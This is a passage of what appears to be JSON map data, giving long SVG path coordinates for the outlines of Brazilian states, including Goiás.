73373.00C64625.67 73341.00 64604.33 73309.00 64583.00 73277.00C64604.33 73266.33 64625.67 73255.67 64647.00 73245.00C64625.57 73234.16 64603.93 73223.72 64582.62 73212.62C64561.08 73191.08 64539.54 73169.54 64518.00 73148.00C64486.00 73148.00 64454.00 73148.00 64422.00 73148.00C64400.33 73137.33 64378.67 73126.67 64357.00 73116.00C64356.32 73106.05 64358.34 73091.75 64356.00 73084.50C64335.00 73095.00 64314.00 73105.50 64293.00 73116.00C64293.00 73073.00 64293.00 73030.00 64293.00 72987.00C64303.84 72965.57 64314.28 72943.93 64325.38 72922.62C64335.92 72912.08 64346.46 72901.54 64357.00 72891.00C64346.33 72869.67 64335.67 72848.33 64325.00 72827.00C64335.67 72794.67 64346.33 72762.33 64357.00 72730.00C64356.32 72720.05 64358.34 72705.75 64356.00 72698.50C64335.00 72709.00 64314.00 72719.50 64293.00 72730.00C64282.33 72719.33 64271.67 72708.67 64261.00 72698.00z"},"br-09":{"name":"Goiás","path":"M104003.00 112858.00C104003.00 112847.00 104003.00 112836.00 104003.00 112825.00C104013.67 112803.67 104024.33 112782.33 104035.00 112761.00C104035.00 112750.33 104035.00 112739.67 104035.00 112729.00C104045.67 112707.67 104056.33 112686.33 104067.00 112665.00C104067.00 112675.67 104067.00 112686.33 104067.00 112697.00C104067.00 112654.00 104067.00 112611.00 104067.00 112568.00C104056.33 112568.00 104045.67 112568.00 104035.00 112568.00C104045.67 112557.33 104056.33 112546.67 104067.00 112536.00C104056.33 112525.33 104045.67 112514.67 104035.00 112504.00C104056.33 112482.67 104077.67 112461.33 104099.00 112440.00C104099.00 112429.00 104099.00 112418.00 104099.00 112407.00C104109.67 112407.00 104120.33 112407.00 104131.00 112407.00C104131.00 112396.33 104131.00 112385.67 104131.00 112375.00C104141.67 112375.00 104152.33 112375.00 104163.00 112375.00C104163.00 112364.33 104163.00 112353.67 104163.00 112343.00C104152.33 112343.00 104141.67 112343.00 104131.00 112343.00C104141.67 112332.33 104152.33 112321.67 104163.00 112311.00C104163.00 112300.33 104163.00 112289.67 104163.00 112279.00C104163.00 112289.67 104163.00 112300.33 104163.00 112311.00C104173.67 112300.33 104184.33 112289.67 104195.00 112279.00C104195.00 112257.33 104195.00 112235.67 104195.00 112214.00C104184.33 112214.00 104173.67 112214.00 104163.00 112214.00C104173.67 112214.00 104184.33 112214.00 104195.00 112214.00C104206.00 112203.33 104217.00 112192.67 104228.00 112182.00C104206.33 112182.00 104184.67 112182.00 104163.00 112182.00C104163.00 112160.67 104163.00 112139.33 104163.00 112118.00C104173.67 112118.00 104184.33 112118.00 104195.00 112118.00C104195.00 112107.33 104195.00 112096.67 104195.00 112086.00C104184.33 112086.00 104173.67 112086.00 104163.00 112086.00C104173.67 112075.33 104184.33 112064.67 104195.00 112054.00C104184.21 112043.31 104173.59 112032.38 104162.69 112021.84C104141.46 112010.89 104120.23 111999.95 104099.00 111989.00C104109.67 111989.00 104120.33 111989.00 104131.00 111989.00C104131.00 111978.33 104131.00 111967.67 104131.00 111957.00C104141.67 111946.33 104152.33 111935.67 104163.00 111925.00C104152.33 111925.00 104141.67 111925.00 104131.00 111925.00C104131.00 111914.33 104131.00 111903.67 104131.00 111893.00C104120.33 111903.67 104109.67 111914.33 104099.00 111925.00C104099.00 111903.67 104099.00 111882.33 104099.00 111861.00C104120.33 111850.33 104141.67 111839.67 104163.00 111829.00C104163.00 111818.33 104163.00 111807.67 104163.00 111797.00C104184.67 111786.00 104206.33 111775.00 104228.00 111764.00C104217.00 111732.00 104206.00 111700.00 104195.00 111668.00C104216.67 111668.00 104238.33 111668.00 104260.00 111668.00C104270.67 111646.67 104281.33 111625.33 104292.00 111604.00C104302.67 111593.00 104313.33 111582.00 104324.00 111571.00C104324.00 111539.00 104324.00 111507.00 104324.00 111475.00C104334.67 111475.00 104345.33 111475.00 104356.00 111475.00C104356.00 111453.67 104356.00 111432.33 104356.00 111411.00C104366.67 111378.67 104377.33 111346.33 104388.00 111314.00C104388.00 111292.67 104388.00 111271.33 104388.00 111250.00C104399.00 111239.33 104410.00 111228.67 104421.00 111218.00C104431.67 111228.67 104442.33 111239.33 104453.00 111250.00C104463.67 111228.67 104474.33 111207.33 104485.00 111186.00C104495.67 111175.00 104506.33 111164.00 104517.00 111153.00C104517.00 111142.33 104517.00 111131.67 104517.00 111121.00C104527.67 111121.00 104538.33 111121.00 104549.00 111121.00C104559.67 111089.00 104570.33 111057.00 104581.00 111025.00C104581.00 111003.67 104581.00 110982.33 104581.00 110961.00C104591.67 110950.00 104602.33 110939.00 104613.00 110928.00C104634.67 110928.00 104656.33 110928.00 104678.00 110928.00C104667.33 110917.33 104656.67 110906.67 104646.00 110896.00C104667.33 110896.00 104688.67 110896.00 104710.00 110896.00C104710.00 110885.33 104710.00 110874.67 104710.00 110864.00C104720.67 110864.00 104731.33 110864.00 104742.00 110864.00C104731.33 110853.33 104720.67 110842.67 104710.00 110832.00C104731.33 110832.00 104752.67 110832.00 104774.00 110832.00C104763.33 110821.33 104752.67 110810.67 104742.00 110800.00C104752.67 110800.00 104763.33 110800.00 104774.00 110800.00C104784.67 110810.67 104795.33 110821.33 104806.00 110832.00C104806.00 110810.67 104806.00 110789.33 104806.00 110768.00C104806.00 110778.67 104806.00 110789.33 104806.00 110800.00C104806.00 110789.33 104806.00 110778.67 104806.00 110768.00C104817.00 110768.00 104828.00 110768.00 104839.00 110768.00C104849.67 110757.00 104860.33 110746.00 104871.00 110735.00C104871.00 110724.33 104871.00 110713.67 104871.00 110703.00C104860.33 110692.33 104849.67 110681.67 104839.00 110671.00C104839.00 110681.67 104839.00 110692.33 104839.00 110703.00C104839.00 110681.67 104839.00 110660.33 104839.00 110639.00C104828.00 110639.00 104817.00 110639.00 104806.00 110639.00C104806.00 110628.33 104806.00 110617.67 104806.00 110607.00C104817.00 110607.00 104828.00 110607.00 104839.00 110607.00C104828.00 110585.67 104817.00 110564.33 104806.00 110543.00C104817.00 110543.00 104828.00 110543.00 104839.00 110543.00C104839.00 110532.00 104839.00 110521.00 104839.00 110510.00C104849.67 110510.00 104860.33 110510.00 104871.00 110510.00C104860.33 110499.33 104849.67 110488.67 104839.00 110478.00C104849.67 110478.00 104860.33 110478.00 104871.00 110478.00C104871.00 110456.67 104871.00 110435.33 104871.00 110414.00C104881.67 110403.33 104892.33 110392.67 104903.00 110382.00C104892.33 110371.33 104881.67 110360.67 104871.00 110350.00C104871.00 110307.00 104871.00 110264.00 104871.00 110221.00C104881.67 110221.00 104892.33 110221.00 104903.00 110221.00C104903.00 110231.67 104903.00 110242.33 104903.00 110253.00C104913.67 110231.67 104924.33 110210.33 104935.00 110189.00C104935.00 110178.33 104935.00 110167.67 104935.00 110157.00C104945.67 110146.33 104956.33 110135.67 104967.00 110125.00C104967.00 110071.33 104967.00 110017.67 104967.00 109964.00C104977.67 109964.00 104988.33 109964.00 104999.00 109964.00C104999.00 109953.33 104999.00 109942.67 104999.00 109932.00C105009.67 109932.00 105020.33 109932.00 105031.00 109932.00C105042.00 109921.00 105053.00 109910.00 105064.00 109899.00C105064.00 109877.67 105064.00 109856.33 105064.00 109835.00C105074.67 109835.00 105085.33 109835.00 105096.00 109835.00C105085.33 109824.33 105074.67 109813.67 105064.00 109803.00C105064.00 109781.67 105064.00 109760.33 105064.00 109739.00C105074.67 109728.33 105085.33 109717.67 105096.00 109707.00C105096.00 109717.67 105096.00 109728.33 105096.00 109739.00C105106.67 109728.33 105117.33 109717.67 105128.00 109707.00C105138.67 109717.67 105149.33 109728.33 105160.00 109739.00C105192.33 109739.00 105224.67 109739.00 105257.00 109739.00C105267.67 109749.67 105278.33 109760.33 105289.00 109771.00C105299.67 109760.33 105310.33 109749.67 105321.00 109739.00C105321.00 109728.33 105321.00 109717.67 105321.00 109707.00C105331.67 109717.67 105342.33 109728.33 105353.00 109739.00C105353.00 109717.33 105353.00 109695.67 105353.00 109674.00C105363.67 109674.00 105374.33 109674.00 105385.00 109674.00C105385.00 109685.00 105385.00 109696.00 105385.00 109707.00C105395.67 109707.00 105406.33 109707.00 105417.00 109707.00C105406.33 109685.33 105395.67 109663.67 105385.00 109642.00C105374.33 109642.00 105363.67 109642.00 105353.00 109642.00C105396.00 109642.00 105439.00 109642.00 105482.00 109642.00C105482.00 109631.33 105482.00 109620.67 105482.00 109610.00C105471.00 109610.00 105460.00 109610.00 105449.00 109610.00C105460.00 109588.67 105471.00 109567.33 105482.00 109546.00C105460.33 109524.33 105438.67 109502.67 105417.00 109481.00C105427.67 109481.00 105438.33 109481.00 105449.00 109481.00C105449.00 109470.33 105449.00 109459.67 105449.00 109449.00C105460.00 109449.00 105471.00 109449.00 105482.00 109449.00C105482.00 109470.67 105482.00 109492.33 105482.00 109514.00C105492.67 109514.00 105503.33 109514.00 105514.00 109514.00C105524.67 109503.00 105535.33 109492.00 105546.00 109481.00C105556.67 109481.00 105567.33 109481.00 105578.00 109481.00C105578.00 109459.67 105578.00 109438.33 105578.00 109417.00C105599.33 109406.33 105620.67 109395.67 105642.00 109385.00C105653.00 109374.33 105664.00 109363.67 105675.00 109353.00C105664.00 109353.00 105653.00 109353.00 105642.00 109353.00C105663.67 109342.33 105685.33 109331.67 105707.00 109321.00C105728.33 109321.00 105749.67 109321.00 105771.00 109321.00C105781.67 109299.33 105792.33 109277.67 105803.00 109256.00C105813.67 109267.00 105824.33 109278.00 105835.00 109289.00C105845.67 109278.00 105856.33 109267.00 105867.00 109256.00C105878.00 109256.00 105889.00 109256.00 105900.00 109256.00C105900.00 109267.00 105900.00 109278.00 105900.00 109289.00C105910.67 109289.00 105921.33 109289.00 105932.00 109289.00C105932.00 109267.33 105932.00 109245.67 105932.00 109224.00C105942.67 109224.00 105953.33 109224.00 105964.00 109224.00C105996.00 109192.00 106028.00 109160.00 106060.00 109128.00C106070.67 109138.67 106081.33 109149.33 106092.00 109160.00C106103.00 109149.33 106114.00 109138.67 106125.00 109128.00C106135.67 109128.00 106146.33 109128.00 106157.00 109128.00C106157.00 109095.67 106157.00 109063.33 106157.00 109031.00C106167.67 109009.67 106178.33 108988.33 106189.00 108967.00C106210.33 108967.00 106231.67 108967.00 106253.00 108967.00C106253.00 108924.00 106253.00 108881.00 106253.00 108838.00C106263.67 108827.33 106274.33 108816.67 106285.00 108806.00C106263.67 108806.00 106242.33 108806.00 106221.00 108806.00C106221.00 108795.33 106221.00 108784.67 106221.00 108774.00C106260.93 108753.97 106300.93 108734.05 106341.05 108714.41C106344.03 108712.94 106347.02 108711.47 106350.00 108710.00C106360.67 108720.67 106371.33 108731.33 106382.00 108742.00C106360.67 108710.00 106339.33 108678.00 106318.00 108646.00C106336.14 108627.25 106354.27 108608.49 106372.83 108590.17C106375.89 108587.11 106378.94 108584.06 106382.00 108581.00C106392.69 108591.79 106403.62 108602.41 106414.16 108613.31C106424.77 108634.88 106435.39 108656.44 106446.00 108678.00C106456.67 108667.33 106467.33 108656.67 106478.00 108646.00C106467.33 108603.00 106456.67 108560.00 106446.00 108517.00C106424.67 108517.00 106403.33 108517.00 106382.00 108517.00C106382.00 108506.33 106382.00 108495.67 106382.00 108485.00C106392.67 108474.33 106403.33 108463.67 106414.00 108453.00C106403.33 108431.33 106392.67 108409.67 106382.00 108388.00C106403.33 108388.00 106424.67 108388.00 106446.00 108388.00C106478.33 108409.67 106510.67 108431.33 106543.00 108453.00C106532.33 108410.00 106521.67 108367.00 106511.00 108324.00C106521.67 108324.00 106532.33 108324.00 106543.00 108324.00C106564.33 108345.33 106585.67 108366.67 106607.00 108388.00C106628.33 108388.00 106649.67 108388.00 106671.00 108388.00C106681.67 108377.33 106692.33 108366.67 106703.00 108356.00C106692.33 108334.67 106681.67 108313.33 106671.00 108292.00C106692.67 108292.00 106714.33 108292.00 106736.00 108292.00C106725.00 108281.33 106714.00 108270.67 106703.00 108260.00C106703.00 108238.33 106703.00 108216.67 106703.00 108195.00C106714.00 108195.00 106725.00 108195.00 106736.00 108195.00C106757.33 108216.67 106778.67 108238.33 106800.00 108260.00C106800.00 108238.33 106800.00 108216.67 106800.00 108195.00C106821.33 108205.67 106842.67 108216.33 106864.00 108227.00C106864.00 108205.67 106864.00 108184.33 106864.00 108163.00C106874.67 108152.33 106885.33 108141.67 106896.00 108131.00C106896.00 108099.00 106896.00 108067.00 106896.00 108035.00C106885.33 108035.00 106874.67 108035.00 106864.00 108035.00C106864.00 108013.33 106864.00 107991.67 106864.00 107970.00C106896.33 107970.00 106928.67 107970.00 106961.00 107970.00C106971.67 107948.67 106982.33 107927.33 106993.00 107906.00C106993.00 107884.67 106993.00 107863.33 106993.00 107842.00C106982.33 107831.33 106971.67 107820.67 106961.00 107810.00C106982.33 107799.00 107003.67 107788.00 107025.00 107777.00C107003.67 107766.33 106982.33 107755.67 106961.00 107745.00C106950.00 107755.67 106939.00 107766.33 106928.00 107777.00C106928.00 107766.33 106928.00 107755.67 106928.00 107745.00C106939.00 107734.33 106950.00 107723.67 106961.00 107713.00C106928.60 107691.57 106896.08 107670.28 106863.75 107648.75C106853.17 107638.17 106842.58 107627.58 106832.00 107617.00C106832.00 107584.67 106832.00 107552.33 106832.00 107520.00C106778.33 107520.00 106724.67 107520.00 106671.00 107520.00C106649.67 107498.67 106628.33 107477.33 106607.00 107456.00C106607.00 107445.33 106607.00 107434.67 106607.00 107424.00C106628.33 107413.00 106649.67 107402.00 106671.00 107391.00C106649.67 107369.67 106628.33 107348.33 106607.00 107327.00C106607.00 107295.00 106607.00 107263.00 106607.00 107231.00C106617.67 107220.33 106628.33 107209.67 106639.00 107199.00C106639.00 107166.67 106639.00 107134.33 106639.00 107102.00C106628.33 107091.33 106617.67 107080.67 106607.00 107070.00C106617.67 107048.67 106628.33 107027.33 106639.00 107006.00C106649.67 107006.00 106660.33 107006.00 106671.00 107006.00C106671.00 106984.33 106671.00 106962.67 106671.00 106941.00C106703.33 106919.67 106735.67 106898.33 106768.00 106877.00C106778.67 106877.00 106789.33 106877.00 106800.00 106877.00C106800.00 106887.67 106800.00 106898.33 106800.00 106909.00C106842.67 106909.00 106885.33 106909.00 106928.00 106909.00C106949.67 106887.67 106971.33 106866.33 106993.00 106845.00C107025.00 106845.00 107057.00 106845.00 107089.00 106845.00C107089.00 106834.33 107089.00 106823.67 107089.00 106813.00C107099.67 106791.33 107110.33 106769.67 107121.00 106748.00C107132.00 106748.00 107143.00 106748.00 107154.00 106748.00C107175.33 106769.67 107196.67 106791.33 107218.00 106813.00C107239.33 106813.00 107260.67 106813.00 107282.00 106813.00C107282.00 106802.33 107282.00 106791.67 107282.00 106781.00C107250.00 106738.00 107218.00 106695.00 107186.00 106652.00C107186.00 106641.33 107186.00 106630.67 107186.00 106620.00C107218.00 106620.00 107250.00 106620.00 107282.00 106620.00C107282.00 106566.33 107282.00 106512.67 107282.00 106459.00C107292.67 106437.67 107303.33 106416.33 107314.00 106395.00C107303.33 106373.33 107292.67 106351.67 107282.00 106330.00C107314.33 106319.33 107346.67 106308.67 107379.00 106298.00C107379.00 106266.00 107379.00 106234.00 107379.00 106202.00C107400.33 106191.33 107421.67 106180.67 107443.00 106170.00C107464.33 106180.67 107485.67 106191.33 107507.00 106202.00C107517.67 106202.00 107528.33 106202.00 107539.00 106202.00C107550.13 106191.31 107561.09 106180.39 107572.31 106169.84C107593.54 106159.23 107614.77 106148.61 107636.00 106138.00C107657.33 106138.00 107678.67 106138.00 107700.00 106138.00C107732.45 106116.29 107764.83 106094.49 107797.31 106072.84C107861.21 106040.90 107925.10 106008.95 107989.00 105977.00C108021.33 105987.67 108053.67 105998.33 108086.00 106009.00C108109.26 105985.63 108132.75 105962.48 108155.86 105938.95C108164.58 105929.97 108173.29 105920.98 108182.00 105912.00C108193.00 105923.00 108204.00 105934.00 108215.00 105945.00C108247.00 105923.33 108279.00 105901.67 108311.00 105880.00C108311.07 105869.23 108310.85 105858.41 108311.11 105847.67C108321.74 105815.78 108332.37 105783.89 108343.00 105752.00C108343.00 105741.00 108343.00 105730.00 108343.00 105719.00C108353.71 105697.43 108364.66 105675.96 108375.23 105654.34C108386.15 105622.56 108397.08 105590.78 108408.00 105559.00C108439.94 105526.61 108471.72 105494.06 108504.00 105462.00C108504.00 105430.00 108504.00 105398.00 108504.00 105366.00C108547.00 105333.67 108590.00 105301.33 108633.00 105269.00C108633.00 105247.67 108633.00 105226.33 108633.00 105205.00C108643.67 105205.00 108654.33 105205.00 108665.00 105205.00C108675.67 105162.00 108686.33 105119.00 108697.00 105076.00C108686.33 105044.00 108675.67 105012.00 108665.00 104980.00C108740.00 104980.00 108815.00 104980.00 108890.00 104980.00C108911.33 104969.33 108932.67 104958.67 108954.00 104948.00C109061.33 104969.33 109168.67 104990.67 109276.00 105012.00C109308.00 104990.67 109340.00 104969.33 109372.00 104948.00C109382.67 104958.67 109393.33 104969.33 109404.00 104980.00C109414.67 104969.33 109425.33 104958.67 109436.00 104948.00C109457.67 104948.00 109479.33 104948.00 109501.00 104948.00C109533.00 104958.67 109565.00 104969.33 109597.00 104980.00C109672.00 104969.33 109747.00 104958.67 109822.00 104948.00C109843.67 104937.33 109865.33 104926.67 109887.00 104916.00C109908.33 104862.33 109929.67 104808.67 109951.00 104755.00C109972.33 104744.33 109993.67 104733.67 110015.00 104723.00C110036.67 104733.67 110058.33 104744.33 110080.00 104755.00C110080.00 104722.67 110080.00 104690.33 110080.00 104658.00C110090.67 104636.67 110101.33 104615.33 110112.00 104594.00C110176.33 104594.00 110240.67 104594.00 110305.00 104594.00C110337.00 104626.33 110369.00 104658.67 110401.00 104691.00C110411.67 104680.00 110422.33 104669.00 110433.00 104658.00C110443.67 104626.00 110454.33 104594.00 110465.00 104562.00C110497.33 104530.00 110529.67 104498.00 110562.00 104466.00C110572.87 104444.05 110583.54 104421.98 110594.54 104400.10C110626.36 104346.73 110658.18 104293.37 110690.00 104240.00C110733.00 104218.67 110776.00 104197.33 110819.00 104176.00C110819.00 104154.67 110819.00 104133.33 110819.00 104112.00C110872.67 104015.33 110926.33 103918.67 110980.00 103822.00C110990.67 103811.33 111001.33 103800.67 111012.00 103790.00C111022.67 103758.00 111033.33 103726.00 111044.00 103694.00C111044.00 103672.67 111044.00 103651.33 111044.00 103630.00C111011.87 103543.55 110979.61 103457.14 110947.56 103370.67C110937.04 103339.11 110926.52 103307.56 110916.00 103276.00C110926.67 103276.00 110937.33 103276.00 110948.00 103276.00C110948.00 103265.33 110948.00 103254.67 110948.00 103244.00C110969.33 103244.00 110990.67 103244.00 111012.00 103244.00C111022.67 103276.00 111033.33 103308.00 111044.00 103340.00C111087.00 103340.00 111130.00 103340.00 111173.00 103340.00C111173.00 103318.67 111173.00 103297.33 111173.00 103276.00C111162.33 103243.67 111151.67 103211.33 111141.00 103179.00C111141.00 103168.33 111141.00 103157.67 111141.00 103147.00C111151.67 103125.67 111162.33 103104.33 111173.00 103083.00C111205.00 103072.33 111237.00 103061.67 111269.00 103051.00C111279.67 103040.33 111290.33 103029.67 111301.00 103019.00C111301.00 102997.33 111301.00 102975.67 111301.00 102954.00C111290.33 102922.00 111279.67 102890.00 111269.00 102858.00C111290.33 102825.67 111311.67 102793.33 111333.00 102761.00C111333.00 102750.33 111333.00 102739.67 111333.00 102729.00C111322.33 102707.67 111311.67 102686.33 111301.00 102665.00C111301.00 102654.33 111301.00 102643.67 111301.00 102633.00C111344.00 102568.67 111387.00 102504.33 111430.00 102440.00C111430.00 102418.67 111430.00 102397.33 111430.00 102376.00C111408.67 102354.33 111387.33 102332.67 111366.00 102311.00C111366.00 102257.67 111366.00 102204.33 111366.00 102151.00C111376.67 102118.67 111387.33 102086.33 111398.00 102054.00C111419.51 102043.18 111441.14 102032.55 111462.59 102021.61C111494.72 102000.41 111526.86 101979.20 111559.00 101958.00C111559.00 101947.00 111559.00 101936.00 111559.00 101925.00C111537.33 101914.33 111515.67 101903.67 111494.00 101893.00C111483.33 101871.67 111472.67 101850.33 111462.00 101829.00C111462.00 101797.00 111462.00 101765.00 111462.00 101733.00C111483.33 101700.67 111504.67 101668.33 111526.00 101636.00C111526.00 101593.00 111526.00 101550.00 111526.00 101507.00C111558.33 101485.67 111590.67 101464.33 111623.00 101443.00C111665.67 101443.00 111708.33 101443.00 111751.00 101443.00C111762.00 101432.33 111773.00 101421.67 111784.00 101411.00C111816.00 101336.00 111848.00 101261.00 111880.00 101186.00C111923.00 101175.33 111966.00 101164.67 112009.00 101154.00C112030.33 101100.33 112051.67 101046.67 112073.00 100993.00C112105.00 100961.00 112137.00 100929.00 112169.00 100897.00C112233.33 100907.67 112297.67 100918.33 112362.00 100929.00C112383.67 100907.33 112405.33 100885.67 112427.00 100864.00C112437.67 100842.67 112448.33 100821.33 112459.00 100800.00C112480.33 100800.00 112501.67 100800.00 112523.00 100800.00C112544.33 100757.00 112565.67 100714.00 112587.00 100671.00C112630.00 100660.33 112673.00 100649.67 112716.00 100639.00C112748.33 100660.67 112780.67 100682.33 112813.00 100704.00C112845.07 100682.23 112877.25 100660.60 112909.25 100638.75C112930.50 100617.50 112951.75 100596.25 112973.00 100575.00C112983.67 100553.67 112994.33 100532.33 113005.00 100511.00C113026.67 100511.00 113048.33 100511.00 113070.00 100511.00C113102.00 100532.33 113134.00 100553.67 113166.00 100575.00C113176.67 100628.67 113187.33 100682.33 113198.00 100736.00C113209.00 100757.33 113220.00 100778.67 113231.00 100800.00C113263.00 100810.67 113295.00 100821.33 113327.00 100832.00C113370.00 100821.33 113413.00 100810.67 113456.00 100800.00C113537.42 100753.37 113618.74 100706.59 113700.22 100660.07C113768.81 100621.04 113837.41 100582.02 113906.00 100543.00C113906.00 100510.67 113906.00 100478.33 113906.00 100446.00C113927.33 100414.00 113948.67 100382.00 113970.00 100350.00C113980.67 100350.00 113991.33 100350.00 114002.00 100350.00C114066.33 100307.00 114130.67 100264.00 114195.00 100221.00C114205.67 100221.00 114216.33 100221.00 114227.00 100221.00C114227.00 100210.33 114227.00 100199.67 114227.00 100189.00C114205.67 100167.67 114184.33 100146.33 114163.00 100125.00C114173.67 100092.67 114184.33 100060.33 114195.00 100028.00C114195.00 99974.67 114195.00 99921.33 114195.00 99868.00C114227.33 99814.33 114259.67 99760.67 114292.00 99707.00C114324.00 99685.67 114356.00 99664.33 114388.00 99643.00C114398.67 99621.33 114409.33 99599.67 114420.00 99578.00C114398.67 99546.00 114377.33 99514.00 114356.00 99482.00C114356.00 99449.67 114356.00 99417.33 114356.00 99385.00C114366.69 99374.21 114377.62 99363.59 114388.16 99352.69C114398.77 99331.46 114409.39 99310.23 114420.00 99289.00C114430.69 99278.21 114441.62 99267.59 114452.16 99256.68C114462.77 99235.12 114473.39 99213.56 114484.00 99192.00C114483.93 99181.23 114484.15 99170.41 114483.89 99159.67C114473.26 99127.78 114462.63 99095.89 114452.00 99064.00C114462.67 99042.33 114473.33 99020.67 114484.00 98999.00C114495.00 98999.00 114506.00 98999.00 114517.00 98999.00C114559.67 98913.33 114602.33 98827.67 114645.00 98742.00C114634.33 98688.67 114623.67 98635.33 114613.00 98582.00C114666.67 98496.00 114720.33 98410.00 114774.00 98324.00C114763.33 98281.33 114752.67 98238.67 114742.00 98196.00C114752.67 98163.67 114763.33 98131.33 114774.00 98099.00C114763.33 98077.67 114752.67 98056.33 114742.00 98035.00C114720.33 98013.67 114698.67 97992.33 114677.00 97971.00C114677.00 97949.33 114677.00 97927.67 114677.00 97906.00C114655.67 97874.00 114634.33 97842.00 114613.00 97810.00C114633.03 97770.07 114652.95 97730.07 114672.59 97689.95C114673.96 97686.71 114676.15 97683.66 114677.00 97680.30C114676.94 97669.76 114677.11 97659.18 114676.92 97648.66C114666.28 97605.77 114655.64 97562.89 114645.00 97520.00C114666.67 97509.33 114688.33 97498.67 114710.00 97488.00C114720.67 97456.00 114731.33 97424.00 114742.00 97392.00C114731.33 97338.33 114720.67 97284.67 114710.00 97231.00C114720.69 97209.55 114731.50 97188.15 114742.11 97166.67C114763.48 97102.35 114784.71 97037.97 114806.16 96973.69C114840.55 96905.15 114875.11 96836.70 114909.40 96768.11C114928.60 96729.41 114947.80 96690.70 114967.00 96652.00C114988.33 96630.67 115009.67 96609.33 115031.00 96588.00C115031.00 96555.67 115031.00 96523.33 115031.00 96491.00C115020.33 96448.33 115009.67 96405.67 114999.00 96363.00C114999.00 96341.67 114999.00 96320.33 114999.00 96299.00C115020.33 96299.00 115041.67 96299.00 115063.00 96299.00C115084.67 96320.33 115106.33 96341.67 115128.00 96363.00C115160.00 96363.00 115192.00 96363.00 115224.00 96363.00C115267.00 96330.67 115310.00 96298.33 115353.00 96266.00C115363.69 96244.55 115374.50 96223.15 115385.11 96201.67C115395.74 96169.78 115406.37 96137.89 115417.00 96106.00C115384.67 96031.00 115352.33 95956.00 115320.00 95881.00C115320.00 95838.00 115320.00 95795.00 115320.00 95752.00C115298.67 95720.00 115277.33 95688.00 115256.00 95656.00C115256.00 95623.67 115256.00 95591.33 115256.00 95559.00C115288.33 95527.00 115320.67 95495.00 115353.00 95463.00C115353.00 95323.67 115353.00 95184.33 115353.00 95045.00C115331.33 95002.00 115309.67 94959.00 115288.00 94916.00C115298.67 94884.00 115309.33 94852.00 115320.00 94820.00C115309.33 94798.33 115298.67 94776.67 115288.00 94755.00C115298.67 94701.33 115309.33 94647.67 115320.00 94594.00C115288.00 94551.33 115256.00 94508.67 115224.00 94466.00C115234.67 94444.67 115245.33 94423.33 115256.00 94402.00C115266.67 94391.00 115277.33 94380.00 115288.00 94369.00C115298.67 94369.00 115309.33 94369.00 115320.00 94369.00C115341.67 94358.33 115363.33 94347.67 115385.00 94337.00C115406.33 94347.67 115427.67 94358.33 115449.00 94369.00C115481.33 94326.33 115513.67 94283.67 115546.00 94241.00C115567.34 94176.55 115588.80 94112.13 115610.07 94047.66C115620.71 93994.10 115631.36 93940.55 115642.00 93887.00C115663.33 93855.00 115684.67 93823.00 115706.00 93791.00C115717.00 93683.67 115728.00 93576.33 115739.00 93469.00C115771.00 93426.33 115803.00 93383.67 115835.00 93341.00C115878.00 93319.33 115921.00 93297.67 115964.00 93276.00C115996.00 93244.00 116028.00 93212.00 116060.00 93180.00C116081.33 93137.00 116102.67 93094.00 116124.00 93051.00C116145.67 93040.33 116167.33 93029.67 116189.00 93019.00C116199.67 92997.67 116210.33 92976.33 116221.00 92955.00C116210.33 92912.00 116199.67 92869.00 116189.00 92826.00C116189.00 92783.00 116189.00 92740.00 116189.00 92697.00C116221.00 92675.67 116253.00 92654.33 116285.00 92633.00C116295.67 92611.67 116306.33 92590.33 116317.00 92569.00C116338.71 92547.55 116360.58 92526.23 116382.19 92504.71C116403.56 92472.40 116424.79 92439.98 116446.25 92407.75C116456.83 92397.17 116467.42 92386.58 116478.00 92376.00C116478.00 92322.33 116478.00 92268.67 116478.00 92215.00C116488.71 92204.22 116499.57 92193.56 116510.19 92182.71C116531.46 92150.80 116552.73 92118.90 116574.00 92087.00C116574.00 92022.67 116574.00 91958.33 116574.00 91894.00C116552.67 91872.33 116531.33 91850.67 116510.00 91829.00C116499.33 91829.00 116488.67 91829.00 116478.00 91829.00C116499.33 91786.33 116520.67 91743.67 116542.00 91701.00C116531.33 91658.00 116520.67 91615.00 116510.00 91572.00C116520.67 91518.33 116531.33 91464.67 116542.00 91411.00C116542.00 91389.67 116542.00 91368.33 116542.00 91347.00C116531.31 91336.21 116520.38 91325.59 116509.84 91314.69C116488.56 91271.79 116467.28 91228.90 116446.00 91186.00C116456.67 91175.33 116467.33 91164.67 116478.00 91154.00C116521.00 91143.33 116564.00 91132.67 116607.00 91122.00C116617.67 91100.67 116628.33 91079.33 116639.00 91058.00C116639.00 91047.00 116639.00 91036.00 116639.00 91025.00C116617.33 91014.33 116595.67 91003.67 116574.00 90993.00C116563.33 90961.00 116552.67 90929.00 116542.00 90897.00C116563.67 90886.33 116585.33 90875.67 116607.00 90865.00C116628.33 90875.67 116649.67 90886.33 116671.00 90897.00C116681.67 90897.00 116692.33 90897.00 116703.00 90897.00C116724.33 90864.67 116745.67 90832.33 116767.00 90800.00C116799.33 90789.33 116831.67 90778.67 116864.00 90768.00C116864.00 90703.67 116864.00 90639.33 116864.00 90575.00C116885.49 90510.72 116906.82 90446.38 116928.00 90382.00C116938.67 90360.67 116949.33 90339.33 116960.00 90318.00C116960.00 90296.67 116960.00 90275.33 116960.00 90254.00C116949.33 90232.67 116938.67 90211.33 116928.00 90190.00C116949.38 90157.56 116970.84 90125.16 116992.16 90092.69C117003.11 90071.46 117014.05 90050.23 117025.00 90029.00C117014.00 90018.33 117003.00 90007.67 116992.00 89997.00C117003.00 89986.00 117014.00 89975.00 117025.00 89964.00C117035.67 89964.00 117046.33 89964.00 117057.00 89964.00C117046.33 89921.33 117035.67 89878.67 117025.00 89836.00C117035.67 89814.33 117046.33 89792.67 117057.00 89771.00C117067.67 89771.00 117078.33 89771.00 117089.00 89771.00C117089.00 89749.67 117089.00 89728.33 117089.00 89707.00C117099.67 89696.33 117110.33 89685.67 117121.00 89675.00C117099.67 89675.00 117078.33 89675.00 117057.00 89675.00C117057.00 89653.67 117057.00 89632.33 117057.00 89611.00C117078.33 89600.33 117099.67 89589.67 117121.00 89579.00C117131.67 89568.00 117142.33 89557.00 117153.00 89546.00C117131.67 89524.67 117110.33 89503.33 117089.00 89482.00C117089.00 89471.33 117089.00 89460.67 117089.00 89450.00C117110.33 89439.33 117131.67 89428.67 117153.00 89418.00C117153.00 89407.33 117153.00 89396.67 117153.00 89386.00C117196.00 89386.00 117239.00 89386.00 117282.00 89386.00C117292.67 89375.33 117303.33 89364.67 117314.00 89354.00C117303.33 89332.33 117292.67 89310.67 117282.00 89289.00C117292.67 89278.33 117303.33 89267.67 117314.00 89257.00C117303.33 89246.33 117292.67 89235.67 